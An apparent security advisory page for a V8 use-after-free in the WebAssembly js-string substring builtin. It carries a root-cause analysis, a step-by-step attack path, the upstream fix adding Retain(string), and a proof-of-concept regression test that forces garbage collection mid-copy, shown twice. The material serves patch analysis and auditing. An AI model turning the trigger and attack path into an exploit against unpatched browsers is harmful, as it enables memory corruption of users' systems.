CVE-2026-19556
Overview
Background
- External string
- a V8 string whose character data lives in memory owned by an embedder-provided
ExternalStringResourcerather than in the V8 heap, so the string object holds only a pointer to that external buffer. - `ConstSlice`
- a lightweight, non-owning view (base pointer plus length) into a string’s backing character data used by Torque builtins, which does not keep the underlying string object alive.
- `Retain`
- a no-op compiler intrinsic that forces the register allocator and GC-safepoint machinery to treat a value as live up to that program point, preventing its premature collection.
- `js-string` builtins
- the WebAssembly JS String Builtins proposal, exposing string operations such as
substringdirectly to Wasm code via imported builtin functions.
Root Cause Analysis
The Wasm js-string substring builtin, implemented in src/builtins/wasm.tq, obtains a ConstSlice view over the input string’s character data and passes that slice’s iterator to AllocateNonEmptySeqOneByteString (or StringFromTwoByteSlice) to materialize the result. The slice is a raw, non-owning pointer into the backing store, so once it has been created the compiler no longer considers the original string object to be a live reference. The allocation call can trigger a garbage collection, and because nothing kept string alive, an unreferenced external string could be collected and its external resource freed while the copy loop still reads from the now-dangling backing buffer, violating the invariant that a string’s storage must outlive every read of it.
The fix inserts an explicit Retain(string) call after the result is allocated and before the builtin returns, forcing the compiler to keep string (and therefore its backing store) alive across the allocating GC, so the source data remains valid for the entire duration of the copy.
ConstSlice dropped the last live reference to the source string before the copy completed, allowing an allocation-triggered GC to free its external backing store; the fix restores the liveness invariant with an explicit Retain(string) that spans the allocation.Attack Path
- Instantiate a Wasm module using `js-string` builtins
The attacker builds and instantiates a module that imports
wasm:js-stringsubstringand tiers it up so the optimized Torque builtin runs. - Supply a collectible external string
A helper returns a freshly externalized string via
externalizeString, holding no other reference to it once control enters the builtin. - Force GC during allocation
Using
%SimulateNewspaceFull(or ordinary allocation pressure), the attacker makes theAllocateNonEmptySeqOneByteString/StringFromTwoByteSlicecall insidesubstringtrigger a garbage collection. - Free the backing store
With no live reference to the source
string, the collector reclaims it and frees its external resource buffer while the substring copy is still in progress. - Read freed memory
The copy loop continues reading through the stale
ConstSliceinto the freed external buffer, producing a use-after-free that can be shaped into an information leak or memory corruption.
Impact Assessment
js-string builtins to be available and the ability to allocate a large externalizable string and induce GC at the right moment, both of which are achievable from ordinary untrusted script.Changed Functions
| Function | Change | Notes |
|---|---|---|
fortest/mjsunit/regress/wasm/regress-543901836.js |
modified |
Files Changed
src/compiler/code-assembler.hsrc/compiler/code-assembler.cctest/mjsunit/regress/wasm/regress-543901836.jstest/mjsunit/mjsunit.statussrc/builtins/wasm.tq
Audit Directions
- Slice-then-allocate patternsReview every Torque/CSA builtin that creates a
ConstSliceor raw backing-store pointer and then performs an allocation, ensuring the source object isRetained across the allocation. - External string consumersAudit builtins and runtime functions that read external string backing stores while allocating, since these strings’ resources are freed on collection and are especially dangerous to hold as raw pointers.
- `js-string` and Wasm string builtinsSystematically check the remaining
wasm:js-stringoperations (concat, encode, slice variants) for the same missing keep-alive of their string inputs across GC-triggering calls.
Patch
From 27bdcbf67f3f6f551d92d1438311722486cd4f0a Mon Sep 17 00:00:00 2001 From: Jakob Kummerow <[email protected]> Date: Wed, 12 Aug 2026 18:57:14 +0200 Subject: [PATCH] [wasm] Fix UAF of external string resource in "js-string" "substring" builtin. Creating a slice of an external string does not keep the string alive, so we now Retain() it manually. This fixes the Wasm version of issue 535000102. Fixed: 543901836 Change-Id: I0b7a07250c2e90b188f2ced937e8c41afdde0bf7 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8243772 Commit-Queue: Matthias Liedtke <[email protected]> Auto-Submit: Jakob Kummerow <[email protected]> Reviewed-by: Matthias Liedtke <[email protected]> Cr-Commit-Position: refs/heads/main@{#109214} --- diff --git a/src/builtins/wasm.tq b/src/builtins/wasm.tq index 09581b6..ea44099 100644 --- a/src/builtins/wasm.tq +++ b/src/builtins/wasm.tq @@ -107,6 +107,8 @@ extern macro Allocate(intptr, constexpr AllocationFlag): HeapObject; } +extern macro Retain(Object): void; + macro NumberToInt32(input: Number): int32 { return Convert<int32>(input); } @@ -1429,13 +1431,17 @@ let subslice = Subslice( slice, Convert<intptr>(start), Convert<intptr>(clampedLength)) otherwise unreachable; - return AllocateNonEmptySeqOneByteString( - clampedLength, subslice.Iterator()); + const result = + AllocateNonEmptySeqOneByteString(clampedLength, subslice.Iterator()); + Retain(string); + return result; } label TwoByte(slice: ConstSlice<char16>) { let subslice = Subslice( slice, Convert<intptr>(start), Convert<intptr>(clampedLength)) otherwise unreachable; - return StringFromTwoByteSlice(clampedLength, subslice); + const result = StringFromTwoByteSlice(clampedLength, subslice); + Retain(string); + return result; } label Runtime deferred { const context = LoadContextFromWasmOrJsFrame(); tail runtime::WasmSubstring( diff --git a/src/compiler/code-assembler.cc b/src/compiler/code-assembler.cc index a3bc06e..db36c41 100644 --- a/src/compiler/code-assembler.cc +++ b/src/compiler/code-assembler.cc @@ -1204,6 +1204,10 @@ StoreFullTaggedNoWriteBarrier(isolate_root, IntPtrConstant(offset), value); } +void CodeAssembler::Retain(TNode<Object> value) { + raw_assembler()->Retain(value); +} + Node* CodeAssembler::Projection(int index, Node* value) { DCHECK_LT(index, value->op()->ValueOutputCount()); return raw_assembler()->Projection(index, value); diff --git a/src/compiler/code-assembler.h b/src/compiler/code-assembler.h index 78f4dd9..06a61b2 100644 --- a/src/compiler/code-assembler.h +++ b/src/compiler/code-assembler.h @@ -1369,6 +1369,10 @@ TNode<Int32T> TruncateFloat32ToInt32(TNode<Float32T> value); TNode<Int64T> TruncateFloat64ToInt64(TNode<Float64T> value); + // No-op that guarantees that the value is kept alive till this point even + // if GC happens. + void Retain(TNode<Object> value); + // Projections template <int index, class T1, class T2> TNode<std::tuple_element_t<index, std::tuple<T1, T2>>> Projection( diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status index bc1c986..0ac3e09 100644 --- a/test/mjsunit/mjsunit.status +++ b/test/mjsunit/mjsunit.status @@ -2763,6 +2763,7 @@ 'regress/wasm/regress-349640002': [SKIP], 'regress/wasm/regress-455832038': [SKIP], 'regress/wasm/regress-483269968': [SKIP], + 'regress/wasm/regress-543901836': [SKIP], 'compiler/regress-347724915': [SKIP], 'regress/regress-crbug-418520151': [SKIP], 'regress/regress-535000102': [SKIP], diff --git a/test/mjsunit/regress/wasm/regress-543901836.js b/test/mjsunit/regress/wasm/regress-543901836.js new file mode 100644 index 0000000..ec60332 --- /dev/null +++ b/test/mjsunit/regress/wasm/regress-543901836.js @@ -0,0 +1,42 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --expose-gc --gc-global --expose-externalize-string +// Flags: --allow-natives-syntax + +const SIZE = 32 * 1024 * 1024; + +d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js'); + +const builder = new WasmModuleBuilder(); +let $sig0 = builder.addType(makeSig([], [wasmRefType(kWasmExternRef)])); +let $sig1 = builder.addType(makeSig([kWasmExternRef, kWasmI32, kWasmI32], + [wasmRefType(kWasmExternRef)])); +let $getExt = builder.addImport('env', 'getExt', $sig0); +let substring = builder.addImport('wasm:js-string', 'substring', $sig1); +builder.addFunction("run", $sig0).exportFunc().addBody([ + kExprCallFunction, $getExt, + kExprI32Const, 0, + kExprI32Const, 8, + kExprCallFunction, substring, + ]); + +function makeExternal(s) { + const t = createExternalizableString(s); + externalizeString(t); + return t; +} +function getExt() { + const s = makeExternal('A'.repeat(SIZE)); + %SimulateNewspaceFull(); + return s; +} + +let instance = builder.instantiate( + { env: { getExt } }, { builtins: ['js-string'] }); +%WasmTierUpFunction(instance.exports.run); + +for (let i = 0; i < 5; i++) { + instance.exports.run(); +}
Regression Test / PoC
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index bc1c986..0ac3e09 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -2763,6 +2763,7 @@
'regress/wasm/regress-349640002': [SKIP],
'regress/wasm/regress-455832038': [SKIP],
'regress/wasm/regress-483269968': [SKIP],
+ 'regress/wasm/regress-543901836': [SKIP],
'compiler/regress-347724915': [SKIP],
'regress/regress-crbug-418520151': [SKIP],
'regress/regress-535000102': [SKIP],
diff --git a/test/mjsunit/regress/wasm/regress-543901836.js b/test/mjsunit/regress/wasm/regress-543901836.js
new file mode 100644
index 0000000..ec60332
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-543901836.js
@@ -0,0 +1,42 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --expose-gc --gc-global --expose-externalize-string
+// Flags: --allow-natives-syntax
+
+const SIZE = 32 * 1024 * 1024;
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+const builder = new WasmModuleBuilder();
+let $sig0 = builder.addType(makeSig([], [wasmRefType(kWasmExternRef)]));
+let $sig1 = builder.addType(makeSig([kWasmExternRef, kWasmI32, kWasmI32],
+ [wasmRefType(kWasmExternRef)]));
+let $getExt = builder.addImport('env', 'getExt', $sig0);
+let substring = builder.addImport('wasm:js-string', 'substring', $sig1);
+builder.addFunction("run", $sig0).exportFunc().addBody([
+ kExprCallFunction, $getExt,
+ kExprI32Const, 0,
+ kExprI32Const, 8,
+ kExprCallFunction, substring,
+ ]);
+
+function makeExternal(s) {
+ const t = createExternalizableString(s);
+ externalizeString(t);
+ return t;
+}
+function getExt() {
+ const s = makeExternal('A'.repeat(SIZE));
+ %SimulateNewspaceFull();
+ return s;
+}
+
+let instance = builder.instantiate(
+ { env: { getExt } }, { builtins: ['js-string'] });
+%WasmTierUpFunction(instance.exports.run);
+
+for (let i = 0; i < 5; i++) {
+ instance.exports.run();
+}